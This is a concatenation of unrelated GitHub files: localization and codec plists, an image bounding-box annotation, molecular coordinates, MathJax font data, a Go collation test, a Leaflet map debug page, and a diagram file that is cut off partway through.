<key>one</key> <string>אליו</string> <key>other</key> <string>אליהם</string> </dict> </dict> <key>saved-unsave-article-and-remove-from-reading-lists-title</key> <dict> <key>NSStringLocalizedFormatKey</key> <string>לבטל את השמירה של %#@v1@?</string> <key>v1</key> <dict> <key>NSStringFormatSpecTypeKey</key> <string>NSStringPluralRuleType</string> <key>NSStringFormatValueTypeKey</key> <string>d</string> <key>one</key> <string>הערך</string> <key>other</key> <string>הערכים</string> </dict> </dict> </dict> </plist>
{ "pile_set_name": "Github" }
<annotation> <folder>imagesRaw</folder> <filename>2017-12-16 15:03:15.358005.jpg</filename> <path>/Users/abell/Development/other.nyc/Camera/imagesRaw/2017-12-16 15:03:15.358005.jpg</path> <source> <database>Unknown</database> </source> <size> <width>352</width> <height>240</height> <depth>3</depth> </size> <segmented>0</segmented> <object> <name>bus</name> <pose>Unspecified</pose> <truncated>0</truncated> <difficult>0</difficult> <bndbox> <xmin>98</xmin> <ymin>142</ymin> <xmax>157</xmax> <ymax>204</ymax> </bndbox> </object> <object> <name>police</name> <pose>Unspecified</pose> <truncated>0</truncated> <difficult>0</difficult> <bndbox> <xmin>218</xmin> <ymin>182</ymin> <xmax>275</xmax> <ymax>230</ymax> </bndbox> </object> <object> <name>car</name> <pose>Unspecified</pose> <truncated>0</truncated> <difficult>0</difficult> <bndbox> <xmin>33</xmin> <ymin>177</ymin> <xmax>74</xmax> <ymax>210</ymax> </bndbox> </object> <object> <name>car</name> <pose>Unspecified</pose> <truncated>0</truncated> <difficult>0</difficult> <bndbox> <xmin>154</xmin> <ymin>134</ymin> <xmax>167</xmax> <ymax>140</ymax> </bndbox> </object> <object> <name>bus</name> <pose>Unspecified</pose> <truncated>0</truncated> <difficult>0</difficult> <bndbox> <xmin>162</xmin> <ymin>140</ymin> <xmax>231</xmax> <ymax>205</ymax> </bndbox> </object> </annotation>
{ "pile_set_name": "Github" }
57 Lattice="1.0 0.0 0.0 0.0 1.0 0.0 0.0 0.0 1.0" Properties=species:S:1:pos:R:3:Z:I:1 pbc="F F F" N -4.36254787 2.76986599 -0.28717801 7 C -2.92329097 2.52653003 -0.41562900 6 C -2.53898096 1.37459099 0.47788900 6 O -2.72259593 1.46547103 1.72284997 8 C -2.10162091 3.80115700 -0.07842300 6 O -2.52347493 4.88905907 -0.86302602 8 C -0.59300399 3.58093405 -0.26315999 6 N -1.96088398 0.18618400 -0.08265800 7 C -1.48018706 -0.92178702 0.74779201 6 C -0.02031600 -0.72451597 1.05735004 6 O 0.35072699 -0.65864998 2.26091599 8 C -1.70840096 -2.26856709 0.03672500 6 C -3.17494202 -2.51310396 -0.21983500 6 C -3.68913507 -2.45568490 -1.52676201 6 C -4.04294682 -2.79967999 0.84789097 6 C -5.05076981 -2.67394590 -1.75845695 6 C -5.40365219 -3.01777005 0.61135799 6 C -5.90735722 -2.95412397 -0.69051802 6 N 0.94471598 -0.61303103 -0.00124400 7 C 2.38329101 -0.52141601 0.26451701 6 C 2.71349907 0.85084897 0.79250097 6 O 3.25128293 0.97300702 1.92444503 8 C 3.18595290 -0.83057100 -1.01557505 6 C 4.67438221 -0.83431000 -0.76441699 6 C 5.26210403 -1.85830498 -0.00184300 6 C 5.48859882 0.18122500 -1.29475200 6 C 6.64060497 -1.86036801 0.23236200 6 C 6.86669922 0.17532399 -1.05755901 6 C 7.44214010 -0.84402800 -0.29424801 6 O 2.43414402 1.99173295 0.04483000 8 H -4.56146622 3.22169590 0.63559699 1 H -4.66293478 3.43712711 -1.03438401 1 H -2.71516895 2.24507093 -1.47216904 1 H -2.27496791 4.06967402 0.98686701 1 H -2.36634588 4.65098095 -1.81451404 1 H -0.04838100 4.53058481 -0.07651400 1 H -0.22047400 2.82236195 0.45707601 1 H -0.37134501 3.23863006 -1.29652703 1 H -1.76850700 0.15951400 -1.10990906 1 H -2.04470801 -0.94552702 1.70679498 1 H -1.14405596 -2.28831506 -0.92126697 1 H -1.31090200 -3.09677291 0.66377503 1 H -3.03963089 -2.23408008 -2.36445808 1 H -3.66538811 -2.85534310 1.86133802 1 H -5.44218206 -2.62468505 -2.76634598 1 H -6.06764221 -3.23668098 1.43757701 1 H -6.96100807 -3.12261295 -0.87184501 1 H 0.60811800 -0.64347398 -0.99040800 1 H 2.64863300 -1.28615296 1.02879703 1 H 2.88971710 -1.83005202 -1.40264404 1 H 2.92669606 -0.09353700 -1.80708098 1 H 4.65349483 -2.65473390 0.40800101 1 H 5.05726290 0.98048300 -1.88456702 1 H 7.08765793 -2.65075397 0.82133102 1 H 7.48863888 0.96177697 -1.46517897 1 H 8.50898743 -0.84694099 -0.11184300 1 H 1.99025202 1.93106198 -0.86330903 1
{ "pile_set_name": "Github" }
/* * /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/CombDiacritMarks.js * * Copyright (c) 2010-2013 The MathJax Consortium * * Part of the MathJax library. * See http://www.mathjax.org for details. * * Licensed under the Apache License, Version 2.0; * you may not use this file except in compliance with the License. * * http://www.apache.org/licenses/LICENSE-2.0 */ MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_SansSerif-italic":{768:[[2,1,-4],[3,2,-4],[3,2,-6],[3,2,-7],[3,2,-7],[4,3,-9],[5,4,-10],[5,4,-13],[6,5,-15],[7,6,-17],[8,7,-21],[9,8,-24],[11,10,-30],[13,11,-34]],769:[[3,1,-4],[3,2,-4],[3,2,-6],[4,2,-7],[4,2,-7],[6,3,-9],[6,4,-10],[7,4,-13],[8,5,-15],[10,6,-17],[11,7,-21],[12,8,-24],[15,10,-30],[18,11,-34]],770:[[4,1,-4],[4,2,-4],[5,2,-6],[5,2,-7],[6,2,-7],[7,3,-9],[8,4,-10],[9,4,-13],[10,5,-15],[13,6,-17],[15,7,-21],[17,8,-24],[20,10,-30],[24,11,-34]],771:[[4,1,-3],[4,1,-5],[4,2,-5],[5,3,-6],[6,2,-7],[6,3,-9],[8,3,-10],[9,3,-13],[11,4,-15],[12,5,-17],[15,6,-21],[17,6,-25],[21,8,-31],[24,9,-35]],772:[[4,1,-3],[4,1,-5],[5,1,-6],[5,2,-6],[6,2,-6],[8,3,-9],[9,2,-11],[10,2,-13],[11,3,-16],[14,3,-18],[16,4,-22],[18,4,-25],[22,5,-31],[26,6,-36]],774:[[3,1,-4],[4,2,-4],[4,2,-6],[5,3,-6],[6,3,-6],[7,4,-8],[8,4,-10],[9,4,-13],[11,6,-14],[13,6,-17],[15,8,-20],[18,9,-23],[21,11,-29],[24,12,-33]],775:[[2,1,-3],[2,1,-5],[2,2,-5],[3,2,-7],[3,2,-7],[3,2,-10],[3,3,-10],[4,3,-13],[4,3,-16],[5,4,-18],[6,5,-22],[7,5,-26],[8,6,-33],[9,7,-38]],776:[[3,1,-3],[4,1,-5],[4,2,-5],[5,2,-7],[5,2,-7],[6,2,-10],[7,2,-11],[8,3,-13],[10,3,-16],[11,4,-18],[13,4,-23],[15,5,-26],[19,6,-33],[21,7,-38]],778:[[2,1,-3],[2,2,-4],[3,2,-5],[3,2,-7],[4,2,-7],[4,3,-9],[5,3,-10],[6,5,-11],[7,5,-14],[8,6,-16],[9,7,-21],[11,8,-24],[13,10,-30],[15,11,-34]],779:[[3,2,-2],[4,2,-4],[4,2,-5],[5,3,-6],[5,3,-6],[7,3,-9],[8,4,-9],[9,5,-11],[10,5,-14],[13,6,-16],[15,8,-20],[17,9,-23],[20,10,-30],[24,11,-34]],780:[[3,1,-3],[4,2,-4],[4,2,-5],[5,2,-6],[5,2,-6],[6,3,-9],[8,4,-10],[9,4,-12],[10,5,-14],[12,6,-16],[15,7,-19],[17,8,-22],[20,10,-28],[23,11,-32]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Italic"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
{ "pile_set_name": "Github" }
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package collate import ( "reflect" "strings" "testing" "golang.org/x/text/internal/colltab" "golang.org/x/text/language" ) var ( defaultIgnore = ignore(colltab.Tertiary) defaultTable = getTable(locales[0]) ) func TestOptions(t *testing.T) { for i, tt := range []struct { in []Option out options }{ 0: { out: options{ ignore: defaultIgnore, }, }, 1: { in: []Option{IgnoreDiacritics}, out: options{ ignore: [colltab.NumLevels]bool{false, true, false, true, true}, }, }, 2: { in: []Option{IgnoreCase, IgnoreDiacritics}, out: options{ ignore: ignore(colltab.Primary), }, }, 3: { in: []Option{ignoreDiacritics, IgnoreWidth}, out: options{ ignore: ignore(colltab.Primary), caseLevel: true, }, }, 4: { in: []Option{IgnoreWidth, ignoreDiacritics}, out: options{ ignore: ignore(colltab.Primary), caseLevel: true, }, }, 5: { in: []Option{IgnoreCase, IgnoreWidth}, out: options{ ignore: ignore(colltab.Secondary), }, }, 6: { in: []Option{IgnoreCase, IgnoreWidth, Loose}, out: options{ ignore: ignore(colltab.Primary), }, }, 7: { in: []Option{Force, IgnoreCase, IgnoreWidth, Loose}, out: options{ ignore: [colltab.NumLevels]bool{false, true, true, true, false}, }, }, 8: { in: []Option{IgnoreDiacritics, IgnoreCase}, out: options{ ignore: ignore(colltab.Primary), }, }, 9: { in: []Option{Numeric}, out: options{ ignore: defaultIgnore, numeric: true, }, }, 10: { in: []Option{OptionsFromTag(language.MustParse("und-u-ks-level1"))}, out: options{ ignore: ignore(colltab.Primary), }, }, 11: { in: []Option{OptionsFromTag(language.MustParse("und-u-ks-level4"))}, out: options{ ignore: ignore(colltab.Quaternary), }, }, 12: { in: []Option{OptionsFromTag(language.MustParse("und-u-ks-identic"))}, out: options{}, }, 13: { in: []Option{ OptionsFromTag(language.MustParse("und-u-kn-true-kb-true-kc-true")), }, out: options{ ignore: defaultIgnore, caseLevel: true, backwards: true, numeric: true, }, }, 14: { in: []Option{ OptionsFromTag(language.MustParse("und-u-kn-true-kb-true-kc-true")), OptionsFromTag(language.MustParse("und-u-kn-false-kb-false-kc-false")), }, out: options{ ignore: defaultIgnore, }, }, 15: { in: []Option{ OptionsFromTag(language.MustParse("und-u-kn-true-kb-true-kc-true")), OptionsFromTag(language.MustParse("und-u-kn-foo-kb-foo-kc-foo")), }, out: options{ ignore: defaultIgnore, caseLevel: true, backwards: true, numeric: true, }, }, 16: { // Normal options take precedence over tag options. in: []Option{ Numeric, IgnoreCase, OptionsFromTag(language.MustParse("und-u-kn-false-kc-true")), }, out: options{ ignore: ignore(colltab.Secondary), caseLevel: false, numeric: true, }, }, 17: { in: []Option{ OptionsFromTag(language.MustParse("und-u-ka-shifted")), }, out: options{ ignore: defaultIgnore, alternate: altShifted, }, }, 18: { in: []Option{ OptionsFromTag(language.MustParse("und-u-ka-blanked")), }, out: options{ ignore: defaultIgnore, alternate: altBlanked, }, }, 19: { in: []Option{ OptionsFromTag(language.MustParse("und-u-ka-posix")), }, out: options{ ignore: defaultIgnore, alternate: altShiftTrimmed, }, }, } { c := newCollator(defaultTable) c.t = nil c.variableTop = 0 c.f = 0 c.setOptions(tt.in) if !reflect.DeepEqual(c.options, tt.out) { t.Errorf("%d: got %v; want %v", i, c.options, tt.out) } } } func TestAlternateSortTypes(t *testing.T) { testCases := []struct { lang string in []string want []string }{{ lang: "zh,cmn,zh-Hant-u-co-pinyin,zh-HK-u-co-pinyin,zh-pinyin", in: []string{"爸爸", "妈妈", "儿子", "女儿"}, want: []string{"爸爸", "儿子", "妈妈", "女儿"}, }, { lang: "zh-Hant,zh-u-co-stroke,zh-Hant-u-co-stroke", in: []string{"爸爸", "妈妈", "儿子", "女儿"}, want: []string{"儿子", "女儿", "妈妈", "爸爸"}, }} for _, tc := range testCases { for _, tag := range strings.Split(tc.lang, ",") { got := append([]string{}, tc.in...) New(language.MustParse(tag)).SortStrings(got) if !reflect.DeepEqual(got, tc.want) { t.Errorf("New(%s).SortStrings(%v) = %v; want %v", tag, tc.in, got, tc.want) } } } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Author</key> <string>brumas</string> <key>CodecID</key> <integer>1089</integer> <key>CodecName</key> <string>VT2020/2021</string> <key>Files</key> <dict> <key>Layouts</key> <array> <dict> <key>Comment</key> <string>VIA VT2020/2021 Mirone</string> <key>Id</key> <integer>5</integer> <key>Path</key> <string>layout5.xml.zlib</string> </dict> <dict> <key>Comment</key> <string>VIA VT2020/2021 Mirone</string> <key>Id</key> <integer>7</integer> <key>Path</key> <string>layout7.xml.zlib</string> </dict> </array> <key>Platforms</key> <array> <dict> <key>Comment</key> <string>VIA VT2020/2021 Mirone</string> <key>Id</key> <integer>5</integer> <key>Path</key> <string>PlatformsM.xml.zlib</string> </dict> <dict> <key>Comment</key> <string>VIA VT2020/2021 Mirone</string> <key>Id</key> <integer>7</integer> <key>Path</key> <string>PlatformsM.xml.zlib</string> </dict> </array> </dict> <key>Patches</key> <array> <dict> <key>Count</key> <integer>2</integer> <key>Find</key> <data>hBnUEQ==</data> <key>MinKernel</key> <integer>13</integer> <key>MaxKernel</key> <integer>14</integer> <key>Name</key> <string>AppleHDA</string> <key>Replace</key> <data>QQQGEQ==</data> </dict> <dict> <key>Count</key> <integer>2</integer> <key>Find</key> <data>ixnUEQ==</data> <key>MinKernel</key> <integer>15</integer> <key>Name</key> <string>AppleHDA</string> <key>Replace</key> <data>QQQGEQ==</data> </dict> <dict> <key>Count</key> <integer>2</integer> <key>Find</key> <data>gxnUEQ==</data> <key>MinKernel</key> <integer>15</integer> <key>MaxKernel</key> <integer>15</integer> <key>Name</key> <string>AppleHDA</string> <key>Replace</key> <data>AAAAAA==</data> </dict> <dict> <key>Count</key> <integer>2</integer> <key>Find</key> <data>ihnUEQ==</data> <key>MinKernel</key> <integer>16</integer> <key>Name</key> <string>AppleHDA</string> <key>Replace</key> <data>AAAAAA==</data> </dict> </array> <key>Revisions</key> <array> <integer>1048832</integer> </array> <key>Vendor</key> <string>VIA</string> </dict> </plist>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <title>Leaflet debug page</title> <link rel="stylesheet" href="https://unpkg.com/leaflet@1.0.3/dist/leaflet.css" integrity="sha512-07I2e+7D8p6he1SIM+1twR5TIrhUQn9+I6yjqD53JQjFiMf8EtC93ty0/5vJTZGF8aAocvHYNEDJajGdNx1IsQ==" crossorigin="" /> <script src="https://unpkg.com/leaflet@1.0.3/dist/leaflet-src.js" integrity="sha512-WXoSHqw/t26DszhdMhOXOkI7qCiv5QWXhH9R7CgvgZMHz1ImlkVQ3uNsiQKu5wwbbxtPzFXd1hK4tzno2VqhpA==" crossorigin=""></script> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="screen.css" /> <link rel="stylesheet" href="../dist/MarkerCluster.css" /> <link rel="stylesheet" href="../dist/MarkerCluster.Default.css" /> <script src="../dist/leaflet.markercluster-src.js"></script> <script type="text/javascript" src="geojson-sample.js"></script> </head> <body> <div id="map"></div> <span>Mouse over a cluster to see the bounds of its children and click a cluster to zoom to those bounds</span> <script type="text/javascript"> var tiles = L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { maxZoom: 18, attribution: '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors' }), latlng = L.latLng(0.78, 102.37); var map = L.map('map', {center: latlng, zoom: 7, layers: [tiles]}); var geojson = L.geoJson(geojsonSample, { style: function (feature) { return {color: feature.properties.color}; }, onEachFeature: function (feature, layer) { var popupText = 'geometry type: ' + feature.geometry.type; if (feature.properties.color) { popupText += '<br/>color: ' + feature.properties.color; } layer.bindPopup(popupText); } }); geojson.addLayer(new L.Marker(new L.LatLng(2.745530718801952, 105.194091796875))); var eye1 = new L.Marker(new L.LatLng(-0.7250783020332547, 101.8212890625)); var eye2 = new L.Marker(new L.LatLng(-0.7360637370492077, 103.2275390625)); var nose = new L.Marker(new L.LatLng(-1.3292264529974207, 102.5463867187)); var mouth = new L.Polyline([ new L.LatLng(-1.3841426927920029, 101.7333984375), new L.LatLng(-1.6037944300589726, 101.964111328125), new L.LatLng(-1.6806671337507222, 102.249755859375), new L.LatLng(-1.7355743631421197, 102.67822265625), new L.LatLng(-1.5928123762763, 103.0078125), new L.LatLng(-1.3292264529974207, 103.3154296875) ]); var markers = L.markerClusterGroup(); markers.addLayer(geojson).addLayers([eye1,eye2,nose,mouth]); map.addLayer(markers); </script> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>ActiveLayerIndex</key> <integer>0</integer> <key>ApplicationVersion</key> <array> <string>com.omnigroup.OmniGraffle.MacAppStore</string> <string>139.7</string> </array> <key>AutoAdjust</key> <false/> <key>BackgroundGraphic</key> <dict> <key>Bounds</key> <string>{{0, 0}, {545, 450}}</string> <key>Class</key> <string>SolidGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>Helvetica</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>2</integer> <key>Style</key> <dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> </dict> <key>BaseZoom</key> <integer>0</integer> <key>CanvasOrigin</key> <string>{0, 0}</string> <key>CanvasSize</key> <string>{545, 450}</string> <key>ColumnAlign</key> <integer>1</integer> <key>ColumnSpacing</key> <real>24</real> <key>CreationDate</key> <string>2012-05-07 20:29:09 +0000</string> <key>Creator</key> <string>Beth Scott</string> <key>DisplayScale</key> <string>1 pt = 1 px</string> <key>GraphDocumentVersion</key> <integer>8</integer> <key>GraphicsList</key> <array> <dict> <key>Class</key> <string>LineGraphic</string> <key>Head</key> <dict> <key>ID</key> <integer>23602</integer> <key>Info</key> <integer>8</integer> </dict> <key>ID</key> <integer>23615</integer> <key>OrthogonalBarAutomatic</key> <true/> <key>OrthogonalBarPoint</key> <string>{0, 0}</string> <key>OrthogonalBarPosition</key> <real>6.6000003814697266</real> <key>Points</key> <array> <string>{101.99999999999997, 282.62502354003846}</string> <string>{139, 245}</string> <string>{262, 225}</string> <string>{301, 233.500052102052}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>FilledArrow</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>2</integer> <key>TailArrow</key> <string>0</string> </dict> </dict> <key>Tail</key> <dict> <key>ID</key> <integer>23568</integer> <key>Info</key> <integer>7</integer> </dict> </dict> <dict> <key>Class</key> <string>LineGraphic</string> <key>Head</key> <dict> <key>ID</key> <integer>23603</integer> <key>Info</key> <integer>8</integer> </dict> <key>ID</key> <integer>23607</integer> <key>OrthogonalBarAutomatic</key> <true/> <key>OrthogonalBarPoint</key> <string>{0, 0}</string> <key>OrthogonalBarPosition</key> <real>3.1000003814697266</real> <key>Points</key> <array> <string>{101.99999999999997, 239.87503116943299}</string> <string>{132, 238}</string> <string>{266, 219}</string> <string>{301, 113.00002158447387}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>FilledArrow</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>2</integer> <key>TailArrow</key> <string>0</string> </dict> </dict> <key>Tail</key> <dict> <key>ID</key> <integer>23569</integer> <key>Info</key> <integer>7</integer> </dict> </dict> <dict> <key>Class</key> <string>LineGraphic</string> <key>Head</key> <dict> <key>ID</key> <integer>23585</integer> <key>Info</key> <integer>8</integer> </dict> <key>ID</key> <integer>23606</integer> <key>Points</key> <array> <string>{248.66666667870044, 352.50008852443801}</string> <string>{301, 352.50004447265746}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>FilledArrow</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>1</integer> <key>TailArrow</key> <string>FilledArrow</string> </dict> </dict> <key>Tail</key> <dict> <key>ID</key> <integer>23612</integer> </dict> </dict> <dict> <key>Bounds</key> <string>{{12.5, 333.50003879882752}, {89.499999999999972, 59}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>Helvetica</string> <key>Size</key> <real>9</real> </dict> <key>ID</key> <integer>23566</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Draws</key> <string>NO</string> <key>Fuzziness</key> <real>0.82475340366363525</real> <key>ShadowVector</key> <string>{0, 0}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.540361</string> <key>g</key> <string>0.540494</string> <key>r</key> <string>0.540395</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Pad</key> <integer>2</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs20 \cf0 Game}</string> <key>VerticalPad</key> <integer>2</integer> </dict> <key>TextPlacement</key> <integer>0</integer> </dict> <dict> <key>Bounds</key> <string>{{12.5, 315.25002354003846}, {89.499999999999972, 18.250015258789062}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>Helvetica</string> <key>Size</key> <real>9</real> </dict> <key>ID</key> <integer>23567</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Draws</key> <string>NO</string> <key>Fuzziness</key> <real>0.82475340366363525</real> <key>ShadowVector</key> <string>{0, 0}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.540361</string> <key>g</key> <string>0.540494</string> <key>r</key> <string>0.540395</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Pad</key> <integer>2</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs20 \cf0 Game}</string> <key>VerticalPad</key> <integer>2</integer> </dict> <key>TextPlacement</key> <integer>0</integer> </dict> <dict> <key>Bounds</key> <string>{{12.5, 249.00003879882752}, {89.499999999999972, 67.249969482421875}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>Helvetica</string> <key>Size</key> <real>9</real> </dict> <key>ID</key> <integer>23568</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Draws</key> <string>NO</string> <key>Fuzziness</key> <real>0.82475340366363525</real> <key>ShadowVector</key> <string>{0, 0}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.540361</string> <key>g</key> <string>0.540494</string> <key>r</key> <string>0.540395</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Pad</key> <integer>2</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs20 \cf0 Game}</string> <key>VerticalPad</key> <integer>2</integer> </dict> <key>TextPlacement</key> <integer>0</integer> </dict> <dict> <key>Bounds</key> <string>{{12.5, 230.75002354003846}, {89.499999999999972, 18.250015258789062}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>Helvetica</string> <key>Size</key> <real>9</real> </dict> <key>ID</key> <integer>23569</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Draws</key> <string>NO</string> <key>Fuzziness</key> <real>0.82475340366363525</real> <key>ShadowVector</key> <string>{0, 0}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.540361</string> <key>g</key> <string>0.540494</string> <key>r</key> <string>0.540395</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Pad</key> <integer>2</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs20 \cf0 Game}</string> <key>VerticalPad</key> <integer>2</integer> </dict> <key>TextPlacement</key> <integer>0</integer> </dict> <dict> <key>Bounds</key> <string>{{12.5, 212.50000828124939}, {89.499999999999972, 18.250015258789062}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>Helvetica</string> <key>Size</key> <real>9</real> </dict> <key>ID</key> <integer>23570</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Draws</key> <string>NO</string> <key>Fuzziness</key> <real>0.82475340366363525</real> <key>ShadowVector</key> <string>{0, 0}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.540361</string> <key>g</key> <string>0.540494</string> <key>r</key> <string>0.540395</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Pad</key> <integer>2</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs20 \cf0 Launcher}</string> <key>VerticalPad</key> <integer>2</integer> </dict> <key>TextPlacement</key> <integer>0</integer> </dict> <dict> <key>Bounds</key> <string>{{6, 188}, {102, 214}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>ID</key> <integer>23571</integer> <key>Magnets</key> <array> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>FillType</key> <integer>2</integer> <key>GradientAngle</key> <real>90</real> <key>GradientColor</key> <dict> <key>b</key> <string>0.78131</string> <key>g</key> <string>0.651832</string> <key>r</key> <string>0.627907</string> </dict> <key>MiddleFraction</key> <real>0.8171502947807312</real> </dict> <key>shadow</key> <dict> <key>Color</key> <dict> <key>a</key> <string>0.2</string> <key>b</key> <string>0</string> <key>g</key> <string>0</string> <key>r</key> <string>0</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 Main Flash}</string> </dict> <key>TextPlacement</key> <integer>0</integer> </dict> <dict> <key>Class</key> <string>Group</string> <key>Graphics</key> <array> <dict> <key>Bounds</key> <string>{{154.83333333333331, 262}, {93.333333333333371, 40}}</string> <key>Class</key> <string>ShapedGraphic</string> 